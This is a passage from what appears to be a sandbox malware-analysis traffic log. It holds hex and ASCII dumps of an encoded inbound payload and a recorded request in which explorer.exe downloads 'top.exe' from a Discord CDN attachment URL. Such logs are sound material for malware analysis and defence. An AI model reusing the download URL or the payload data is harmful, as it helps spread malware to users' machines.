fe fc 01 5f 30 a9 2e 88 7b b8 82 51 71 3b d4 d6 f8 67 2c be f7 f0 7d 89 6a 21 6b d8 13 3d e3 c0 d3 8b Data Ascii: Tl37e`7/pIP0L^Z9,P9OlL=}_V'no\YLDpCiQy3[r!PimY7=b"ea3"&.F+4j#GAC?AYO'jM-<6F!<DN(<6U\|_0.{Qq;g,}j!k=
2021-12-28 04:19:38 UTC	734	IN	Data Raw: 25 4f 8b 22 45 6b 66 cf 44 ad d1 0e 39 41 2c f5 52 ff 75 a8 56 ef d6 6b ad 63 7a 8a ba 79 2f e0 e4 0f 74 f5 4d 92 b0 d2 c3 89 11 b1 87 bf 7d f0 47 5b 3f 57 32 f1 8d 18 cd c8 ea ea f7 d5 88 09 cb 63 89 3d 77 cf 7e 1e cf 50 67 b0 a1 b7 66 a8 9a 9f f9 85 03 1f 01 c5 1a 55 e5 f6 d6 fe b7 6d d6 b8 2f 89 a7 24 9d c1 37 90 e8 78 de ea 7f 17 71 df 41 c5 58 af f6 78 8e 2b b6 ce d0 d3 cd 55 75 41 3f f8 1f 26 70 67 eb 91 c6 a4 15 67 98 e4 f4 d1 99 7d e2 f0 b3 ea 93 6d 16 ce 9d 26 e5 7d a1 4f d0 33 d5 50 30 e8 ac f5 77 f0 d5 a3 ba 7a e1 9a b2 b0 6a 7d cd f1 d2 9f c2 dc b4 1d 50 ef 27 35 06 6a 35 e7 b4 13 e2 99 9f 20 88 18 9e 29 a4 6c 3b 55 cd d1 2c ea 0d a9 b6 7c 70 db 1b e2 0e 17 d3 28 e1 96 95 d4 c2 fb b8 49 c6 ee 38 7c 75 e6 65 c3 10 5f de 79 63 cd 34 5b b1 e0 d3 Data Ascii: %O"EkfD9A,RuVkczy/tM}G[?W2c=w~PgfUm/$7xqAXx+UuA?&pgg}m&}O3P0wzj}P'5j5 )l;U,\|p(I8\|ue_yc4[
2021-12-28 04:19:38 UTC	750	IN	Data Raw: a4 f7 50 ec 91 3c 71 c4 25 a1 3a 98 39 c3 91 1b 21 6a 7e d5 2c a4 2c 59 d7 f7 f0 a0 eb b7 98 54 d6 eb 3a d3 20 68 2d 42 ba 4e ee 4a 5c 96 3e 8e ac f6 4c c0 42 0c 44 4f 84 3b 33 1f cc bc aa a3 d7 dc 54 04 7d e3 39 9a 95 bd d1 29 26 a6 14 b6 4e 7c 4b be 37 43 59 f4 ca 6c 5e 45 cf b6 3c b5 ee ee 52 3d 20 88 66 85 59 e4 04 8b e2 1e 1f 90 06 ef 77 4a 0d 51 30 e9 e2 c6 6f 80 d5 6e a6 a7 4f 11 4a 87 5c 1e 56 df b3 cd 42 cd b5 97 59 68 53 8f b3 96 38 bb ba 46 ec 92 8a 98 24 60 83 9e eb 8c 56 47 5c 50 20 5b 27 06 d0 ab c1 4b df a1 b4 9f d6 56 20 26 c9 b3 c5 19 75 a0 af cc ca df c8 4c 72 21 33 32 fd 14 b3 2d e9 17 4c 34 6a e9 86 54 95 2e 8b 7f 05 5f f0 b0 e8 53 2d ab 08 05 27 d7 52 d2 84 bd 75 f0 1a f8 34 3f 2e c1 78 8c cc b4 70 f0 17 e6 be 76 10 28 94 f6 b6 11 a4 Data Ascii: P<q%:9!j~,,YT: h-BNJ\>LBDO;3T}9)&N\|K7CYl^E<R= fYwJQ0onOJ\VBYhS8F$`VG\P ['KV &uLr!32-L4jT._S-'Ru4?.xpv(
2021-12-28 04:19:38 UTC	766	IN	Data Raw: 57 ff b3 50 cd cc c5 0e 5d 52 f1 31 72 24 ce 36 4d c7 6b 6f 5a 89 4d fd db ab b2 d4 2f d1 26 43 59 41 54 9e 67 64 40 e7 a9 b5 c5 b6 6b b5 69 39 fd 6b 6e 9e 4d 66 09 54 3e bd 04 29 9f 1e ec 1a 7c be 1c 5c ed 18 ba 4a 3e cb 17 34 0c 80 a9 d2 d1 a9 db 45 46 9a c6 7f a9 ee 86 ee fe 85 27 d6 c8 70 f8 d3 33 61 d2 f6 17 3f 7d fa 0d 51 a6 9f e4 ff d5 4c 1a 0a 27 54 c1 e6 9d 2d 8d b2 21 d5 5f 59 ca f3 7c a6 96 a1 64 4f 86 b8 f4 6e 5e 37 d4 23 5d 58 2b 0d f5 89 7a cb a1 76 2e 8a c0 b6 94 32 dc ea e6 ca ea 5b 6d 32 74 42 cb c1 8f 02 c3 82 cb 78 73 3b 2a 9c 75 a8 a1 8e 65 03 b6 c6 4a c6 d9 20 38 8f 8e da 32 f5 d1 0b 76 54 ef 62 fe 35 d6 4b f1 00 bb f8 3d 4d d3 e7 d1 b6 2a 21 06 24 d0 2b 39 1b 13 da b8 d3 b6 e7 26 20 b1 53 56 82 a4 9b 00 f4 e0 cf 16 bf 0a fc 5c e0 6c Data Ascii: WP]R1r$6MkoZM/&CYATgd@ki9knMfT>)\|\J>4EF'p3a?}QL'T-!_Y\|dOn^7#]X+zv.2[m2tBxs;ueJ 82vTb5K=M!$+9& SV\l
2021-12-28 04:19:38 UTC	782	IN	Data Raw: 00 67 00 66 00 55 00 73 00 5a 00 75 00 2b 00 77 00 61 00 76 00 56 00 4b 00 57 00 35 00 2f 00 77 00 33 00 79 00 57 00 6d 00 73 00 48 00 4d 00 6b 00 45 00 69 00 78 00 6a 00 75 00 62 00 64 00 4b 00 52 00 70 00 4e 00 41 00 44 00 37 00 49 00 43 00 62 00 73 00 4b 00 38 00 48 00 48 00 4a 00 37 00 31 00 41 00 37 00 33 00 4f 00 59 00 2f 00 39 00 30 00 75 00 67 00 51 00 53 00 47 00 37 00 35 00 4d 00 51 00 6d 00 35 00 6c 00 30 00 6d 00 41 00 67 00 6b 00 79 00 5a 00 53 00 76 00 2b 00 66 00 48 00 6d 00 70 00 42 00 31 00 49 00 70 00 6f 00 73 00 72 00 59 00 75 00 79 00 76 00 46 00 69 00 49 00 6a 00 7a 00 37 00 6a 00 52 00 4f 00 51 00 59 00 74 00 33 00 51 00 65 00 70 00 6a 00 65 00 4c 00 37 00 6d 00 54 00 46 00 53 00 6f 00 4b 00 68 00 41 00 49 00 31 00 75 00 62 00 2f 00 Data Ascii: gfUsZu+wavVKW5/w3yWmsHMkEixjubdKRpNAD7ICbsK8HHJ71A73OY/90ugQSG75MQm5l0mAgkyZSv+fHmpB1IposrYuyvFiIjz7jROQYt3QepjeL7mTFSoKhAI1ub/
2021-12-28 04:19:38 UTC	798	IN	Data Raw: 00 62 00 62 00 54 00 43 00 53 00 53 00 4f 00 62 00 51 00 39 00 7a 00 2f 00 46 00 68 00 57 00 62 00 52 00 32 00 57 00 49 00 43 00 4f 00 75 00 42 00 32 00 4d 00 51 00 4d 00 4e 00 65 00 56 00 72 00 33 00 63 00 75 00 54 00 4c 00 46 00 41 00 7a 00 6a 00 31 00 66 00 57 00 69 00 70 00 4c 00 5a 00 48 00 61 00 72 00 79 00 6a 00 51 00 2f 00 76 00 65 00 70 00 4e 00 55 00 48 00 2f 00 64 00 43 00 62 00 49 00 48 00 41 00 4e 00 47 00 61 00 6c 00 56 00 71 00 78 00 71 00 54 00 2b 00 71 00 50 00 6f 00 72 00 4a 00 38 00 64 00 71 00 63 00 38 00 56 00 38 00 6a 00 2f 00 54 00 69 00 4d 00 73 00 75 00 47 00 6f 00 76 00 57 00 73 00 58 00 39 00 5a 00 53 00 33 00 75 00 51 00 50 00 33 00 51 00 33 00 47 00 35 00 69 00 73 00 75 00 6b 00 62 00 32 00 51 00 6d 00 61 00 43 00 53 00 34 00 Data Ascii: bbTCSSObQ9z/FhWbR2WICOuB2MQMNeVr3cuTLFAzj1fWipLZHaryjQ/vepNUH/dCbIHANGalVqxqT+qPorJ8dqc8V8j/TiMsuGovWsX9ZS3uQP3Q3G5isukb2QmaCS4
2021-12-28 04:19:38 UTC	814	IN	Data Raw: 00 39 00 48 00 57 00 62 00 4d 00 4d 00 79 00 44 00 61 00 4b 00 74 00 4c 00 56 00 30 00 75 00 49 00 4e 00 37 00 6b 00 5a 00 43 00 76 00 52 00 63 00 34 00 58 00 79 00 2f 00 52 00 74 00 4f 00 73 00 52 00 4d 00 31 00 73 00 59 00 5a 00 37 00 42 00 2b 00 6e 00 7a 00 41 00 79 00 68 00 30 00 6e 00 63 00 64 00 4a 00 2b 00 41 00 61 00 6c 00 4b 00 53 00 37 00 51 00 63 00 76 00 53 00 4a 00 6e 00 71 00 37 00 33 00 45 00 4b 00 55 00 6d 00 31 00 67 00 79 00 6f 00 73 00 57 00 4a 00 4e 00 4c 00 71 00 31 00 76 00 4a 00 63 00 41 00 61 00 69 00 4d 00 41 00 79 00 75 00 39 00 4f 00 62 00 75 00 79 00 43 00 50 00 37 00 67 00 4b 00 63 00 53 00 45 00 49 00 4d 00 4f 00 52 00 48 00 53 00 4b 00 66 00 48 00 2f 00 5a 00 41 00 67 00 65 00 4d 00 52 00 6a 00 54 00 63 00 65 00 55 00 51 00 Data Ascii: 9HWbMMyDaKtLV0uIN7kZCvRc4Xy/RtOsRM1sYZ7B+nzAyh0ncdJ+AalKS7QcvSJnq73EKUm1gyosWJNLq1vJcAaiMAyu9ObuyCP7gKcSEIMORHSKfH/ZAgeMRjTceUQ
2021-12-28 04:19:38 UTC	830	IN	Data Raw: 00 6c 00 72 00 74 00 41 00 67 00 36 00 58 00 79 00 45 00 61 00 6d 00 6d 00 63 00 50 00 68 00 47 00 4d 00 58 00 32 00 62 00 5a 00 65 00 58 00 35 00 33 00 39 00 6b 00 6d 00 52 00 65 00 49 00 42 00 32 00 71 00 49 00 53 00 58 00 6d 00 54 00 41 00 4d 00 50 00 64 00 51 00 68 00 4e 00 33 00 6a 00 30 00 77 00 61 00 62 00 76 00 36 00 6d 00 65 00 38 00 47 00 64 00 65 00 76 00 71 00 49 00 75 00 4d 00 4a 00 64 00 72 00 32 00 30 00 47 00 7a 00 62 00 68 00 68 00 37 00 4a 00 36 00 4a 00 48 00 7a 00 35 00 50 00 30 00 65 00 34 00 36 00 74 00 6e 00 65 00 7a 00 58 00 63 00 4a 00 32 00 43 00 42 00 74 00 65 00 75 00 7a 00 2f 00 36 00 32 00 30 00 71 00 6c 00 56 00 6e 00 4c 00 41 00 71 00 6b 00 55 00 4c 00 6b 00 34 00 4f 00 31 00 47 00 6e 00 4f 00 52 00 74 00 71 00 4a 00 67 00 Data Ascii: lrtAg6XyEammcPhGMX2bZeX539kmReIB2qISXmTAMPdQhN3j0wabv6me8GdevqIuMJdr20Gzbhh7J6JHz5P0e46tnezXcJ2CBteuz/620qlVnLAqkULk4O1GnORtqJg
2021-12-28 04:19:38 UTC	846	IN	Data Raw: 00 63 00 52 00 6e 00 54 00 39 00 4e 00 74 00 58 00 34 00 69 00 4e 00 71 00 70 00 52 00 39 00 73 00 42 00 6e 00 58 00 55 00 2b 00 75 00 39 00 6f 00 51 00 78 00 65 00 31 00 43 00 56 00 65 00 63 00 35 00 6a 00 4e 00 50 00 74 00 6e 00 2b 00 64 00 4a 00 47 00 65 00 6b 00 78 00 33 00 59 00 70 00 73 00 53 00 78 00 41 00 71 00 44 00 6a 00 63 00 6c 00 4e 00 38 00 2f 00 36 00 67 00 45 00 4e 00 75 00 47 00 34 00 47 00 57 00 62 00 41 00 6a 00 67 00 42 00 34 00 2f 00 6a 00 4b 00 51 00 77 00 46 00 4c 00 41 00 65 00 6f 00 66 00 65 00 71 00 32 00 2b 00 52 00 66 00 48 00 48 00 4f 00 6c 00 6f 00 6b 00 47 00 6d 00 79 00 51 00 45 00 50 00 6e 00 61 00 72 00 51 00 4a 00 58 00 69 00 4b 00 33 00 52 00 34 00 35 00 4f 00 2f 00 79 00 6b 00 52 00 4c 00 61 00 67 00 6f 00 6a 00 64 00 Data Ascii: cRnT9NtX4iNqpR9sBnXU+u9oQxe1CVec5jNPtn+dJGekx3YpsSxAqDjclN8/6gENuG4GWbAjgB4/jKQwFLAeofeq2+RfHHOlokGmyQEPnarQJXiK3R45O/ykRLagojd
2021-12-28 04:19:38 UTC	862	IN	Data Raw: 00 51 00 4e 00 78 00 79 00 47 00 42 00 42 00 57 00 49 00 76 00 6e 00 58 00 51 00 46 00 36 00 5a 00 36 00 7a 00 6b 00 73 00 53 00 76 00 44 00 35 00 6e 00 49 00 79 00 4d 00 69 00 6c 00 44 00 32 00 6e 00 6c 00 76 00 47 00 6e 00 77 00 77 00 57 00 42 00 55 00 51 00 50 00 57 00 76 00 34 00 4e 00 4e 00 75 00 30 00 44 00 67 00 47 00 31 00 4c 00 34 00 33 00 56 00 71 00 6e 00 33 00 47 00 57 00 73 00 52 00 58 00 4d 00 42 00 37 00 76 00 6c 00 32 00 61 00 6d 00 39 00 36 00 49 00 30 00 77 00 69 00 48 00 7a 00 62 00 4f 00 37 00 67 00 68 00 55 00 58 00 41 00 5a 00 69 00 66 00 72 00 32 00 61 00 4d 00 6e 00 6a 00 69 00 39 00 30 00 49 00 30 00 64 00 38 00 36 00 6b 00 67 00 4f 00 4c 00 67 00 75 00 6c 00 39 00 6a 00 56 00 32 00 54 00 74 00 57 00 7a 00 6f 00 64 00 53 00 4a 00 Data Ascii: QNxyGBBWIvnXQF6Z6zksSvD5nIyMilD2nlvGnwwWBUQPWv4NNu0DgG1L43Vqn3GWsRXMB7vl2am96I0wiHzbO7ghUXAZifr2aMnji90I0d86kgOLgul9jV2TtWzodSJ
2021-12-28 04:19:38 UTC	878	IN	Data Raw: 00 4d 00 32 00 6e 00 38 00 54 00 49 00 75 00 33 00 39 00 71 00 65 00 56 00 46 00 68 00 43 00 2b 00 74 00 73 00 6e 00 6b 00 56 00 6b 00 77 00 47 00 66 00 32 00 74 00 78 00 55 00 57 00 70 00 70 00 76 00 37 00 43 00 59 00 6a 00 44 00 49 00 79 00 36 00 31 00 48 00 64 00 37 00 31 00 64 00 39 00 4e 00 44 00 65 00 43 00 69 00 6e 00 58 00 4f 00 4d 00 62 00 35 00 77 00 63 00 39 00 54 00 66 00 44 00 64 00 6f 00 2f 00 68 00 71 00 44 00 45 00 52 00 74 00 55 00 34 00 4a 00 39 00 46 00 33 00 47 00 2f 00 4e 00 56 00 6b 00 43 00 49 00 2f 00 6f 00 61 00 49 00 36 00 56 00 6e 00 30 00 2b 00 4e 00 6d 00 49 00 69 00 76 00 75 00 56 00 47 00 6b 00 6d 00 4f 00 50 00 4c 00 32 00 66 00 79 00 7a 00 6e 00 6c 00 76 00 74 00 49 00 63 00 32 00 7a 00 77 00 4f 00 31 00 57 00 33 00 56 00 Data Ascii: M2n8TIu39qeVFhC+tsnkVkwGf2txUWppv7CYjDIy61Hd71d9NDeCinXOMb5wc9TfDdo/hqDERtU4J9F3G/NVkCI/oaI6Vn0+NmIivuVGkmOPL2fyznlvtIc2zwO1W3V
2021-12-28 04:19:38 UTC	894	IN	Data Raw: 00 34 00 66 00 52 00 52 00 36 00 33 00 6a 00 4d 00 58 00 70 00 6d 00 78 00 55 00 76 00 47 00 54 00 76 00 62 00 68 00 6e 00 50 00 4a 00 32 00 58 00 4e 00 4f 00 56 00 4b 00 5a 00 47 00 35 00 65 00 34 00 54 00 59 00 6c 00 74 00 38 00 4a 00 6b 00 63 00 59 00 6b 00 61 00 30 00 63 00 32 00 67 00 79 00 56 00 32 00 34 00 72 00 39 00 49 00 74 00 72 00 79 00 68 00 67 00 32 00 41 00 74 00 48 00 41 00 6f 00 66 00 6a 00 45 00 4e 00 64 00 61 00 48 00 47 00 4a 00 6e 00 6d 00 32 00 59 00 55 00 53 00 78 00 70 00 6a 00 4e 00 4d 00 45 00 6d 00 69 00 48 00 33 00 77 00 55 00 32 00 47 00 39 00 43 00 2f 00 42 00 33 00 48 00 51 00 4a 00 78 00 44 00 2b 00 6c 00 75 00 33 00 30 00 6a 00 68 00 4b 00 4a 00 69 00 46 00 79 00 59 00 66 00 75 00 62 00 6c 00 70 00 7a 00 32 00 67 00 2f 00 Data Ascii: 4fRR63jMXpmxUvGTvbhnPJ2XNOVKZG5e4TYlt8JkcYka0c2gyV24r9Itryhg2AtHAofjENdaHGJnm2YUSxpjNMEmiH3wU2G9C/B3HQJxD+lu30jhKJiFyYfublpz2g/
2021-12-28 04:19:38 UTC	910	IN	Data Raw: 00 71 00 71 00 52 00 45 00 6a 00 50 00 32 00 73 00 4e 00 4a 00 73 00 67 00 39 00 6b 00 59 00 33 00 59 00 41 00 6c 00 59 00 30 00 64 00 79 00 6d 00 44 00 38 00 5a 00 63 00 78 00 67 00 34 00 48 00 61 00 55 00 6e 00 6b 00 66 00 2f 00 4c 00 37 00 53 00 48 00 46 00 59 00 52 00 71 00 45 00 45 00 52 00 38 00 69 00 6d 00 79 00 38 00 6a 00 58 00 58 00 62 00 6b 00 53 00 6c 00 31 00 48 00 63 00 59 00 37 00 56 00 77 00 45 00 53 00 38 00 76 00 6a 00 31 00 31 00 79 00 52 00 6c 00 4a 00 6d 00 4d 00 67 00 37 00 66 00 70 00 47 00 76 00 4d 00 6a 00 34 00 32 00 47 00 42 00 63 00 4f 00 2f 00 6b 00 37 00 71 00 70 00 74 00 30 00 49 00 63 00 79 00 6f 00 61 00 34 00 6f 00 69 00 43 00 53 00 6e 00 32 00 73 00 77 00 6e 00 6a 00 50 00 62 00 73 00 6a 00 68 00 74 00 6a 00 4b 00 6b 00 Data Ascii: qqREjP2sNJsg9kY3YAlY0dymD8Zcxg4HaUnkf/L7SHFYRqEER8imy8jXXbkSl1HcY7VwES8vj11yRlJmMg7fpGvMj42GBcO/k7qpt0Icyoa4oiCSn2swnjPbsjhtjKk
2021-12-28 04:19:38 UTC	926	IN	Data Raw: 00 68 00 47 00 42 00 51 00 47 00 52 00 32 00 6d 00 43 00 4f 00 6f 00 6e 00 35 00 45 00 6d 00 34 00 37 00 4f 00 77 00 77 00 4d 00 47 00 5a 00 74 00 64 00 68 00 6e 00 54 00 74 00 6f 00 4b 00 4f 00 58 00 42 00 63 00 30 00 79 00 5a 00 75 00 56 00 6f 00 4e 00 4e 00 44 00 57 00 38 00 32 00 6f 00 67 00 42 00 45 00 7a 00 6c 00 62 00 38 00 34 00 39 00 33 00 38 00 58 00 61 00 41 00 73 00 76 00 75 00 34 00 50 00 66 00 56 00 66 00 44 00 4c 00 54 00 2f 00 53 00 4e 00 71 00 4d 00 69 00 54 00 74 00 69 00 4a 00 4c 00 77 00 70 00 38 00 74 00 36 00 51 00 73 00 4e 00 31 00 57 00 46 00 70 00 36 00 37 00 50 00 50 00 63 00 2b 00 78 00 53 00 46 00 54 00 43 00 47 00 43 00 73 00 53 00 70 00 4f 00 68 00 38 00 4e 00 52 00 68 00 49 00 41 00 57 00 4c 00 4b 00 64 00 5a 00 78 00 44 00 Data Ascii: hGBQGR2mCOon5Em47OwwMGZtdhnTtoKOXBc0yZuVoNNDW82ogBEzlb84938XaAsvu4PfVfDLT/SNqMiTtiJLwp8t6QsN1WFp67PPc+xSFTCGCsSpOh8NRhIAWLKdZxD
2021-12-28 04:19:38 UTC	942	IN	Data Raw: 00 51 00 73 00 68 00 6d 00 46 00 48 00 4a 00 44 00 64 00 58 00 7a 00 61 00 38 00 6b 00 57 00 4a 00 72 00 70 00 72 00 52 00 65 00 79 00 44 00 73 00 75 00 4b 00 59 00 4d 00 44 00 4d 00 32 00 50 00 49 00 38 00 63 00 76 00 57 00 57 00 36 00 4e 00 71 00 4d 00 59 00 32 00 33 00 39 00 73 00 41 00 76 00 53 00 65 00 59 00 32 00 6b 00 77 00 48 00 49 00 45 00 43 00 59 00 6f 00 79 00 4b 00 66 00 52 00 2f 00 52 00 79 00 56 00 71 00 42 00 54 00 6e 00 2f 00 64 00 57 00 71 00 73 00 4b 00 54 00 52 00 41 00 42 00 52 00 72 00 4c 00 64 00 2b 00 50 00 4f 00 64 00 34 00 4a 00 48 00 76 00 44 00 31 00 46 00 70 00 6f 00 69 00 6e 00 31 00 57 00 58 00 66 00 62 00 77 00 61 00 67 00 76 00 66 00 76 00 58 00 4e 00 75 00 31 00 53 00 54 00 7a 00 34 00 37 00 72 00 4f 00 31 00 44 00 68 00 Data Ascii: QshmFHJDdXza8kWJrprReyDsuKYMDM2PI8cvWW6NqMY239sAvSeY2kwHIECYoyKfR/RyVqBTn/dWqsKTRABRrLd+POd4JHvD1Fpoin1WXfbwagvfvXNu1STz47rO1Dh
2021-12-28 04:19:38 UTC	958	IN	Data Raw: 00 4f 00 39 00 4f 00 76 00 51 00 44 00 30 00 6e 00 34 00 63 00 61 00 55 00 71 00 4c 00 46 00 2b 00 4c 00 6e 00 31 00 4a 00 35 00 46 00 75 00 4b 00 65 00 6c 00 6b 00 4a 00 39 00 76 00 77 00 73 00 54 00 2f 00 4f 00 44 00 6f 00 66 00 66 00 62 00 2b 00 64 00 62 00 73 00 6f 00 63 00 33 00 67 00 63 00 32 00 55 00 38 00 4e 00 31 00 35 00 30 00 55 00 7a 00 4d 00 75 00 69 00 63 00 61 00 37 00 39 00 78 00 4d 00 58 00 51 00 50 00 76 00 46 00 55 00 6e 00 56 00 58 00 4d 00 38 00 4c 00 51 00 68 00 36 00 35 00 78 00 53 00 49 00 4e 00 6a 00 36 00 41 00 6c 00 63 00 77 00 37 00 66 00 44 00 52 00 55 00 4e 00 64 00 58 00 51 00 43 00 51 00 42 00 75 00 63 00 44 00 78 00 73 00 63 00 62 00 48 00 73 00 68 00 37 00 33 00 35 00 5a 00 58 00 38 00 6c 00 4d 00 65 00 66 00 79 00 6b 00 Data Ascii: O9OvQD0n4caUqLF+Ln1J5FuKelkJ9vwsT/ODoffb+dbsoc3gc2U8N150UzMuica79xMXQPvFUnVXM8LQh65xSINj6Alcw7fDRUNdXQCQBucDxscbHsh735ZX8lMefyk
2021-12-28 04:19:38 UTC	974	IN	Data Raw: 00 69 00 46 00 6a 00 72 00 63 00 74 00 43 00 59 00 57 00 5a 00 6b 00 6f 00 39 00 65 00 5a 00 6e 00 74 00 79 00 56 00 4d 00 65 00 4f 00 70 00 63 00 32 00 58 00 36 00 47 00 46 00 42 00 4c 00 4b 00 31 00 35 00 70 00 62 00 4e 00 69 00 35 00 4c 00 62 00 4c 00 72 00 6c 00 63 00 4e 00 2b 00 4f 00 48 00 73 00 34 00 59 00 71 00 46 00 4e 00 55 00 4f 00 64 00 37 00 32 00 64 00 30 00 74 00 33 00 6f 00 30 00 55 00 73 00 50 00 34 00 6d 00 55 00 50 00 4f 00 55 00 4f 00 39 00 52 00 69 00 72 00 67 00 64 00 74 00 52 00 70 00 61 00 61 00 55 00 45 00 78 00 6c 00 6c 00 79 00 6b 00 6e 00 7a 00 6b 00 74 00 6e 00 74 00 49 00 4d 00 70 00 41 00 74 00 35 00 72 00 33 00 59 00 57 00 71 00 66 00 54 00 4d 00 61 00 52 00 4d 00 51 00 69 00 5a 00 4e 00 34 00 4e 00 52 00 62 00 77 00 78 00 Data Ascii: iFjrctCYWZko9eZntyVMeOpc2X6GFBLK15pbNi5LbLrlcN+OHs4YqFNUOd72d0t3o0UsP4mUPOUO9RirgdtRpaaUExllyknzktntIMpAt5r3YWqfTMaRMQiZN4NRbwx
2021-12-28 04:19:38 UTC	990	IN	Data Raw: 00 69 00 6f 00 70 00 52 00 61 00 50 00 45 00 49 00 79 00 4c 00 6d 00 73 00 6e 00 58 00 56 00 66 00 77 00 4f 00 4f 00 4a 00 71 00 49 00 6c 00 63 00 79 00 69 00 55 00 76 00 67 00 77 00 32 00 4d 00 5a 00 5a 00 6d 00 32 00 56 00 50 00 69 00 43 00 44 00 4f 00 75 00 62 00 57 00 31 00 57 00 2b 00 41 00 55 00 31 00 76 00 69 00 42 00 52 00 35 00 76 00 58 00 45 00 36 00 44 00 5a 00 76 00 4b 00 45 00 34 00 35 00 31 00 41 00 2b 00 54 00 6c 00 37 00 37 00 4e 00 61 00 78 00 46 00 56 00 6d 00 54 00 52 00 6b 00 79 00 36 00 65 00 55 00 39 00 73 00 52 00 38 00 6e 00 39 00 4b 00 52 00 63 00 6e 00 46 00 34 00 65 00 45 00 73 00 4c 00 68 00 73 00 31 00 69 00 68 00 59 00 71 00 66 00 78 00 6e 00 64 00 78 00 42 00 6f 00 52 00 4e 00 49 00 41 00 4b 00 77 00 51 00 6d 00 43 00 6b 00 Data Ascii: iopRaPEIyLmsnXVfwOOJqIlcyiUvgw2MZZm2VPiCDOubW1W+AU1viBR5vXE6DZvKE451A+Tl77NaxFVmTRky6eU9sR8n9KRcnF4eEsLhs1ihYqfxndxBoRNIAKwQmCk
2021-12-28 04:19:38 UTC	1006	IN	Data Raw: 00 41 00 4e 00 51 00 61 00 32 00 41 00 72 00 57 00 35 00 61 00 31 00 42 00 69 00 48 00 48 00 38 00 36 00 78 00 70 00 42 00 4b 00 38 00 51 00 57 00 68 00 2f 00 44 00 63 00 6b 00 45 00 4a 00 53 00 45 00 61 00 42 00 50 00 31 00 65 00 44 00 75 00 76 00 51 00 2f 00 57 00 48 00 32 00 79 00 53 00 66 00 63 00 46 00 70 00 72 00 36 00 68 00 62 00 35 00 61 00 42 00 79 00 71 00 54 00 4e 00 5a 00 73 00 74 00 75 00 6e 00 6d 00 30 00 49 00 68 00 37 00 75 00 30 00 33 00 52 00 57 00 4c 00 4b 00 46 00 32 00 68 00 2b 00 4e 00 62 00 41 00 73 00 47 00 77 00 54 00 4f 00 31 00 34 00 67 00 78 00 43 00 37 00 6d 00 37 00 42 00 64 00 2b 00 61 00 51 00 4d 00 73 00 6c 00 7a 00 30 00 71 00 76 00 44 00 66 00 4b 00 68 00 47 00 36 00 7a 00 75 00 62 00 6b 00 35 00 68 00 6a 00 45 00 78 00 Data Ascii: ANQa2ArW5a1BiHH86xpBK8QWh/DckEJSEaBP1eDuvQ/WH2ySfcFpr6hb5aByqTNZstunm0Ih7u03RWLKF2h+NbAsGwTO14gxC7m7Bd+aQMslz0qvDfKhG6zubk5hjEx
2021-12-28 04:19:38 UTC	1022	IN	Data Raw: 00 6f 00 79 00 69 00 51 00 56 00 70 00 76 00 70 00 48 00 49 00 5a 00 48 00 74 00 41 00 44 00 33 00 6c 00 76 00 2f 00 49 00 37 00 43 00 43 00 4f 00 71 00 4e 00 62 00 6e 00 4d 00 63 00 6f 00 33 00 38 00 69 00 69 00 54 00 74 00 6b 00 68 00 49 00 43 00 62 00 33 00 41 00 74 00 6c 00 74 00 77 00 4b 00 70 00 2b 00 77 00 49 00 38 00 38 00 2f 00 36 00 70 00 76 00 53 00 61 00 70 00 2b 00 48 00 7a 00 39 00 4d 00 44 00 6d 00 43 00 6f 00 46 00 64 00 43 00 36 00 37 00 5a 00 65 00 65 00 7a 00 48 00 4c 00 39 00 72 00 36 00 51 00 6f 00 64 00 72 00 34 00 4b 00 54 00 71 00 4b 00 72 00 31 00 35 00 30 00 45 00 4f 00 64 00 6b 00 50 00 4b 00 6d 00 7a 00 37 00 58 00 58 00 77 00 4e 00 34 00 42 00 6f 00 75 00 37 00 43 00 72 00 6c 00 4e 00 54 00 65 00 6c 00 69 00 7a 00 6f 00 38 00 Data Ascii: oyiQVpvpHIZHtAD3lv/I7CCOqNbnMco38iiTtkhICb3AtltwKp+wI88/6pvSap+Hz9MDmCoFdC67ZeezHL9r6Qodr4KTqKr150EOdkPKmz7XXwN4Bou7CrlNTelizo8
2021-12-28 04:19:38 UTC	1038	IN	Data Raw: 00 31 00 2b 00 52 00 53 00 32 00 36 00 6e 00 66 00 48 00 63 00 37 00 31 00 42 00 72 00 51 00 6c 00 43 00 6a 00 6f 00 41 00 59 00 63 00 6c 00 2b 00 36 00 31 00 6c 00 43 00 4a 00 42 00 38 00 72 00 31 00 44 00 45 00 61 00 6d 00 54 00 6a 00 69 00 6d 00 4e 00 73 00 58 00 4b 00 6c 00 36 00 76 00 47 00 57 00 6b 00 6d 00 76 00 4b 00 67 00 37 00 54 00 31 00 50 00 6a 00 2b 00 31 00 33 00 37 00 58 00 49 00 4c 00 35 00 36 00 6e 00 47 00 77 00 39 00 44 00 57 00 67 00 2f 00 4d 00 6d 00 39 00 34 00 47 00 74 00 7a 00 30 00 51 00 2f 00 64 00 76 00 6b 00 4b 00 6e 00 6e 00 75 00 77 00 43 00 6c 00 53 00 50 00 31 00 6c 00 46 00 74 00 39 00 53 00 32 00 67 00 45 00 48 00 77 00 4e 00 6a 00 4a 00 55 00 77 00 31 00 6d 00 57 00 53 00 7a 00 44 00 77 00 58 00 6f 00 6e 00 6c 00 37 00 Data Ascii: 1+RS26nfHc71BrQlCjoAYcl+61lCJB8r1DEamTjimNsXKl6vGWkmvKg7T1Pj+137XIL56nGw9DWg/Mm94Gtz0Q/dvkKnnuwClSP1lFt9S2gEHwNjJUw1mWSzDwXonl7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49847	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:41 UTC	1052	OUT	GET /attachments/925145879403446292/925145901322879006/top.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-12-28 04:19:41 UTC	1053	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:41 GMT Content-Type: application/x-msdos-program Content-Length: 3624448 Connection: close CF-Ray: 6c47fde7899a7037-FRA Accept-Ranges: bytes Age: 22454 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=top.exe ETag: "e5bd8a53623522c49ccc35bc492b5a11" Expires: Wed, 28 Dec 2022 04:19:41 GMT Last-Modified: Mon, 27 Dec 2021 21:59:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 